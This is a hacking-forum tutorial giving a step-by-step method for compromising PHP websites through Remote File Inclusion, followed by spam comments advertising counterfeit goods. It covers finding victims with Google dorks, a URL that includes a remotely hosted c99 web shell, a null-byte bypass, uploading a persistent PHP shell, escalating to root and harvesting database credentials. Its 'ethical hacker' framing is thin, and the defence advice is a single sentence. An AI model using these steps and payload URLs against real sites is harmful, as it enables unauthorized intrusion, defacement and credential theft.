Main » Articles » Web Hacking » RFI

How to hack websites by Remote File Inclusion
Hello friends,  Today i am going to explain and advanced method of hacking websites that is How to hack websites using Remote File Inclusion. As the name suggests Remote File Inclusion is technique where we inserts the file (in hacking terminology called Shell) in to the Website and gets the admin rights. Lets discuss this type of Website hacking technique in detail, so friends read on…

What is Remote File Inclusion?

Remote File Inclusion is a method of hacking websites and getting the admin rights of the server by inserting a remote file usually called as SHELL (a shell is graphical user interface file which is used to browsing the remote files and running your own code on the web servers) into a website, whose inclusion allows the hackers to execute the server side commands as a current user logged on, and have the access to all the server files. With these rights we can continue to use local exploits to escalate our privileges and get control over the whole server.
Note: Remote File Inclusion (RFI) is the best ever technique to hack websites and more than 60% websites on the internet using PHP are vulnerable to this attack.

Which Websites are Vulnerable to Remote File Inclusion attack?

First and the very basic question arises in the mind of new hackers that How we can find the websites that its prone to remote file inclusion attack. And what are the basic vulnerabilities in the website that we will target to hack any website and web server. Answer to these questions is quite simple.
Many of the web servers are vulnerable to this type of attack because of PHP’s default settings of register_globals  and allow_url_fopen being enabled.
Note: In the PHP 6.0, register_globals has been removed but still the second vulnerability remains open, so we can give it a try to latest version PHP websites too. But a good news for hackers is that around 90% websites on the internet still uses old versions of PHP and another good news in those 90% websites, more than 60% websites has default settings enabled. That means we can hack most of the websites and deface them. Isn’t that cool, but as i have said we are ethical hackers we only find vulnerabilities in the websites .

Now lets start step by step Remote file inclusion method to hack websites:

Step 1: Finding the Vulnerable Websites

First of all we have to find the website that gets his pages using the PHP include() function and vulnerable to RFI (Remote File Inclusion). The best technique is to find websites using Google Dorks. Google dorks are simply the queries that are used to identify the specific search results.
Download the list of Dorks for RFI : CLICK HERE

I have already listed a lot off GOOGLE DORKS in my previous post of hacking websites, so you can look them here:
How to deface websites using SQL injection.

Step 2: Identifying Vulnerable website

Websites that have the page navigation system similar to below mentioned:

http://target-site.com/index.php?page=PageName

Step 3: Checking Website is Vulnerable or Not

To check if a the website is vulnerable to remote file inclusion attack, we would try to include a website link  instead of PageName as shown below:

http://target-site.com/index.php?page=http://google.com

Now if the Google Home Page opens, then its confirmed that website is vulnerable to Remote File Inclusion attack and we will continue our attack. If Google homepage doesn’t opens, we will try another website.

Step 4:  Remote Inclusion of Shells

Now we know that website is hackable, so we will now include the shells into the website. There are number of shells available online but my favorite are C99 and r57 because of their extended functionality and features.
There is no need to download these shells on your systems or PC, we can directly use the online resources for doing that but if you wish you can download them from their respective websites. I will not provide these here because its unethical but Google it and u can find them easily.
To find the a shell the hacker would search Google for:

inurl:c99.txt

This will display many websites with the shell already up and ready to be included.
Note: you must include a ? after the URL of Shell  so that if anything comes after c99.txt, it will be passed to the shell and not cause any problems.

For future use of Analysis you can download these shells from here:

http://www.localroot.net/

The new URL with the shell included would look like:

http://target-site.com/index.php?page=http://site.com/c99.txt?

Step 5: Adding Null Byte

Sometimes the PHP script on the server appends ".php” to the end of every included file. So if you included the shell, it would end up looking like "c99.txt.php” and not work. To get around this, you would add a null byte () to the end of c99.txt. This tells the server to ignore everything after c99.txt.

Step 6:  Vulnerabilities Database

In step one, I told you that hackers use Google dorks to look for sites possibly vulnerable to RFIs. An example of a Google dork would be:

allinurl:.php?page=

This looks for URL’s with .php?page= in them. This is only an example and you most likely won’t find any vulnerable sites with that search. You can try switching around the word "page” with other letters and similar
words.

Hackers usually search vulnerability databases likewww.milw0rm.com for already discovered RFI vulnerabilities in site content management systems and search for websites that are running that vulnerable web application with a Google dork.

Step 6: If Attack Successful

If we succeeds in getting the server to parse the shell, then we will be see a screen similar to the following:                                                           hacking websites using remote file inclusion, learn how to hack websites

The shell will display information about the remote server and list all the files and directories on it. From here we would find a directory that has read and write privileges and upload the shell but this time as a .php file so that incase the vulnerability is fixed, he will be able to access it later on.

Step7: Find Root Privileges on Server

Now we would next find a way to gain root privileges on the system. We can do this by uploading and running local exploits against the server. you can find list of such exploits on milw0rm. We could also search the victim server for configuration files. These files most of the times contain username and passwords for the MYSQL databases and such.

That’s all the way to hack websites using the remote file inclusion method. I hope you all have liked it. And i am sure you all have a lot of questions regrading this, so don’t hesitate and ask in form of comments. I will try to clear all your queries.

How to Protect your Websites and Forums from Remote file inclusion attack?

As we are ethical hackers i will also explain for webmasters to protect their websites from RFI attack.
To protect yourself from RFI attacks, simply make sure you are using up-to-date scripts, and make sure you server php.ini file has register_globals and allow_url_fopen disabled.

Category: RFI | Added by: max_hacker (12.06.07)
Views: 2169 | Comments: 10 | Rating: 4.0/1
Total comments: 6
0  
6 TtmFqSjK   (12.11.30 9:36 PM) [Entry]
HeqIel http://www.jpshoesbuy.com/ - アグ ブーツ ZmiJld YnjVtw http://www.jpshoesbuy.com/ - UGG ブーツ HzzRpm XzkQpi http://www.jpshoesbuy.com/ - UGG オーストラリア RurDea CjvLra http://www.jpshoesbuy.com/ - UGG ムートンブーツ YdjXvy

0  
5 Occarorit   (12.11.11 4:24 AM) [Entry]
同誌たち、生命を大切にして、遠く離れ追試、すべてお大事に!」二人は口元を覆う笑って、スクリーン沈惜凡を指して、口の中でまだ唱え、「白薇、バドワイザー、知らないその 人でバドワイザー薬をやって、何の病気の治療?」何のシソの葉のとても厳粛な彼女に教えて、「加減あまどころで白薇、浜納豆生葱桔梗に、草棗ミント合計8味、滋陰発汗こなた 施設で、この人は凉血バドワイザー滋陰の!」

http://www.coach-mania.com/ コーチ 財布
http://www.coach-mania.com/ コーチ バッグ
http://www.coach-mania.com/ コーチ アウトレット
http://www.coach-mania.com/ コーチ メンズ
http://www.coach-mania.com/ コーチ ポピー
コーチ 財布 : http://www.coach-mania.com/

0  
4 Nonoaparm   (12.11.09 7:21 PM) [Entry]
と深いつながりがある、彼女はつまらなくてふん一声、涙の斉潸潸と流れて、完全に自分から制御。論点は何をシソの葉はびっくりして、彼女の手を持ち上げる、燈りの下でよく見 ると、赤塊、沈惜凡涙ひらりの質問に、「わたしの指は切れますか?」何のシソの葉はため息をついて、“あなたと断?私は薬を取りに行って、おとなしく動かないで、もう足を挟 まれたに。」

http://www.coachnomachi.com コーチのアウトレット
http://www.coachnomachi.com コーチ ポピー
http://www.coachnomachi.com コーチ トート バッグ
http://www.coachnomachi.com コーチ 斜めがけバッグ
コーチ アウトレット : http://www.coachnomachi.com

0  
3 EterseOutsike   (12.11.08 10:04 PM) [Entry]
同誌たち、生命を大切にして、遠く離れ追試、すべてお大事に!」二人は口元を覆う笑って、スクリーン沈惜凡を指して、口の中でまだ唱え、「白薇、バドワイザー、知らないその 人でバドワイザー薬をやって、何の病気の治療?」何のシソの葉のとても厳粛な彼女に教えて、「加減あまどころで白薇、浜納豆生葱桔梗に、草棗ミント合計8味、滋陰発汗こなた 施設で、この人は凉血バドワイザー滋陰の!」

http://www.coach-mania.com/ コーチ 財布
http://www.coach-mania.com/ コーチ バッグ
http://www.coach-mania.com/ コーチ アウトレット
http://www.coach-mania.com/ コーチ メンズ
http://www.coach-mania.com/ コーチ ポピー
コーチ 財布 : http://www.coach-mania.com/

0  
2 arriffacics   (12.11.07 7:59 PM) [Entry]
団塊の世代は、退職は家族に専念し、自分の興味や趣味を追求することで、彼らの余暇時間を楽しむチャンスです。しかし、彼らは自分のスキルをエンパワーし、その年齢のために がちで別の仕事を見つける機会として引退を表示します。

http://www.oakleyjponline.com/ オークリー レーダー
http://www.oakleyjponline.com/ オークリー サングラス レーダー
http://www.oakleyjponline.com/ オークリー レーダー ロック
オークリー レーダー: http://www.oakleyjponline.com/

0  
1 Blusuavanaf   (12.10.30 10:10 PM) [Entry]
srtfgbvadf

Only registered users can add comments.
[ Registration | Login ]
Recommend on Google

Designed By [#]./3X3.R()()T
Like Us on Facebook Follow Us on Twitter Subscribe Us on Youtube WWW.GeniusHackers.NET © 2024
Founder and CEO of GeniusHackers [#] /3x3.R()()T
Hosted by uCoz
Hosted by uCoz